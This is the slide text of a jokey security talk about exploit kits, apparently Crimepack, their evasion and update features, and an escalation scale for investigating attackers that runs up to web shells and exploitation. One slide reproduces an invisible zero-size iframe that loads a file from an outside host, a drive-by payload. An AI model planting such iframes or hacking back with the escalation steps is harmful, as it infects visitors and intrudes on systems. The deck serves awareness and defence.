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Warning, the contents of this presentation may contain 
offensive content. Well, actually I’m pretty darn sure that it does. What’s 
more, the slide layouts may cause blindness, not due to being horrifyingly over 
populated with needless text and bullet points (seriously, who even uses these any 
more that’s so 1990s). But seriously, anyway, back to the point. It is easy to find 
malware on the web at the best of times but it’s even easier if you go looking for 
it. So please don’t. We don’t want any accidents. Unless that accident 
involves a cyber criminal getting hit by a piano. In which case, bring 
it....
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* Make your hostname less obvious. Also, stop it. Now.



APT
Advanced Persistent Tweed



Cyber War
Kinetic action...
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* Warning, incredibly bad imitation Russian accent may be used.













0

23

45

68

90

Features Expertise

* Graph colors unimportant but pretty











A few quick pointers
• The kit is Russian in origin 
• MySQL backend, standard LAMP kit.
• Blacklisting/blocking 

• Only hit any IP once
• Maintain IP blacklist
• Blacklist by referrer URL
• Import blacklisted ranges (cloud services)

• Auto update 
• Targets a variety of client vulnerabilities 
• Java - wow that was fast!
• AV scanning add-ons (you have to pay more of course)
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<--iframe name="ICMP Type 8 Code 0" src="http://incrediblyhacked.com/file.php" 
marginwidth="1" marginheight="0" title=”ICMP Type 8 Code 0" border="0" width="1" 
frameborder="0" height="0" scrolling="no"><--/iframe>

http://192.168.13.1/crimepack/index.php
http://192.168.13.1/crimepack/index.php


Escalation Scale
• Bit of poking - DNS, name servers and ‘affiliations’

• Web bug, image or alike

• Pretty easy to legally get away with
• Sadly basic information

• Javascript. Web Shell. Querying more information

• Borderline, depending on your jurisdiction.
• Full hog - exploitage

• Oh, you didn't patch Java in your system either? Awkward.
• Where they are, what they are doing....
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The Pay Off?

26



27



28



29



Two Steps Forward
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IPv6
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Apply Slide {Love that}

• Consider upcoming technologies even if not using 
them yet. Don’t make the 2->1-< mistake.

• Consider investigative/offensive moves extremely 
carefully.

• Watch those basics
• Assumptions kill us
• Yes people can be that silly

• Everything in moderation. Hype hurts.
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